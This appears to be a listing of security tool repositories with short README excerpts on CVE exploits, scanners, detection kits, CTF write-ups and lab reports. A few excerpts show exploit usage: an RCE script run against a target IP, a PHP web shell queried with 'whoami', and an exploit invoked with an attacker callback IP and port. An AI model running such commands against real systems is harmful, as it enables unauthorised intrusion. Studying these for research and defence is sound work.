CVE-2024-50379-nuclei

CVE-2024-50379 Testing the latset Apache Tomcat CVE-2024-50379 Vuln...

cupntlm-Automated-Exploit-For-CVE-2025-33073-

cupntlm CVE-2025-33073 — NTLM Reflection Bypass via DNS Coercion Automated exploitation tool for Active Directory environments. Overview cupntlm automates the NTLM reflection/relay attack chain that abuses CVE-2025-33073. It combines DNS record injection, forced authentication coercion PetitPotam...

diffplug__goomph_CVE-2022-26049_3-37-1

Goomph: IDE as build artifact Also plugins for working with SWT, OSGi, p2, and Eclipse RCP...

secure-boot-cert-servicing

Secure Boot Certificate Rollover — assessment and servicing A single, self-contained PowerShell script that assesses a Windows machine's Secure Boot certificate posture for the 2011 → 2023 rollover CVE-2023-24932 / KB5025885 and, only when you explicitly ask it to, opts that machine in to the...

CVE-2021-30461

Impacted Products VoIPmonitor 24.60 How to RCE root@kitploit: python3 CVE-2021-30461.py -t ipaddress Browser shell: root@kitploit: http://x.x.x.x/namrlblgel.php?a=whoami Reference https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

frameworks_base_android-6.0.1_r22_CVE-2023-20921

This repository does not have a README...

CVE-2026-23744

CVE-2026-23744 python3 CVE-2026-23744.py -u http://devhub.htb:6274 -i 10.10.14.106 -p 4321...

ROOT-APP-NPM-CVE-2026-67213 CVE-2026-67213 in nanoid - Patched by Root

Root has patched CVE-2026-67213 in the nanoid package for Root:npm. Multiple fixed versions available...

Codify-TJNULL-OSCP-

Hack The Box — Codify Writeup Full penetration testing walkthrough and writeup for Codify machine on Hack The Box. 📌 Machine Info Field| Value ---|--- Name| Codify OS| Linux Difficulty| Easy Key Concepts| vm2 RCE CVE-2023-30547, SQLite DB Enum, Bcrypt Cracking, Bash Wildcard Pattern Matching Abus...

heartbleedscanner

Heartbleed 스캐너 OpenSSL 메모리 누수CVE-2014-0160를 위한 네트워크 스캐너 -t 매개변수는 시간 제한초을 최적화합니다. -f 매개변수는 취약한 시스템의 메모리 누수를 로그에 기록합니다. -n 매개변수는 전체 네트워크를 스캔합니다. -i 매개변수는 목록 파일에서 스캔합니다. 이미 대상이 있는 경우 유용합니다. -r 매개변수는 선형 스캔을 방지하기 위해 IP 주소를 무작위화합니다. -s 매개변수는 SSL/TLS를 시작하기 위해 일반 텍스트 명령이 필요한 서비스HTTPS/SMTP/POP3/IMAP를...

heartbleedscanner

Heartbleed Scanner Network Scanner for OpenSSL Memory Leak CVE-2014-0160 -t parameter to optimize the timeout in seconds. -f parameter to log the memleak of vulnerable systems. -n parameter to scan entire network. -i parameter to scan from a list file. Useful if you already have targets. -r...

cve-2021-44228-log4j-test

cve-2021-44228-log4j-test Test 1. LDAP Server and Exploit File Download Server 1.1 Running Docker-compose docker-compose.yml root@kitploit: version: '2' services: dockerdj: image: openidentityplatform/opendj:latest containername: ldap environment: ROOTUSERDN: "cn=han" ROOTPASSWORD: "han" BASEDN:...

CVE-2017-18349

Lab 6-CVE-2017-18349 I. SYSTEM ANALYSIS Attack Surface Identification Let's start with what is running in the environment. I list all active containers: root@kitploit: docker ps The victim exposes only a single port:8090 Currently, I am not yet fully clear on the target. From the docker ps result...

CVE-2024-6387-PoC

CVE-2024-6387-PoC...

pentesting-obioba

pentesting-obioba Pentesting caja negra: Shellshock CVE-2014-6271 + Log4Shell CVE-2021-44228. Escalada a root. Informe ejecutivo y técnico Pentesting Obioba — Auditoría de Seguridad Caja Negra Proyecto del Bootcamp 360° en Ciberseguridad de The Bridge Digital Talent Accelerator 2025-2026. 🎯...

wordpress-rce-vapt-cve-2020-25213

WordPress RCE Exploitation & Mitigation CVE-2020-25213 📌 Project Overview This project was developed as part of the IE4012 – Offensive Hacking Tactics & Strategies module. It demonstrates a full cybersecurity attack lifecycle in a controlled lab environment, including: Social engineering attack...

Detection-Tool-Kit-for-CVE-2026-31431

copyfail-detect Kit de detección para CVE-2026-31431 "Copy Fail", una técnica de escalada de privilegios local del kernel de Linux que corrompe los datos de la caché de páginas sin modificar el archivo en el disco. Por qué existe Copy Fail puede eludir la supervisión tradicional de integridad de...

activemq-ids-ips-lab

IDS/IPS Lab - Protecting Apache ActiveMQ from RCE Attacks This project evaluates how IDS and IPS mechanisms can detect and prevent exploitation of Apache ActiveMQ vulnerability CVE-2023-46604 in a controlled lab environment. Project Overview The lab was designed with separated attacker, gateway,...

CVE-2025-24813

This repository does not have a README...

LetsDefend-SOC336-Windows-OLE-Zero-Click-RCE-Exploitation-Detected-CVE-2025-21298

LetsDefend SOC336: Windows OLE Zero-Click RCE Exploitation Detected This repository documents my investigation of a LetsDefend alert involving a Windows OLE zero-click remote code execution exploit tied to CVE-2025-21298. The goal is to show the reasoning behind the conclusion, from email triage ...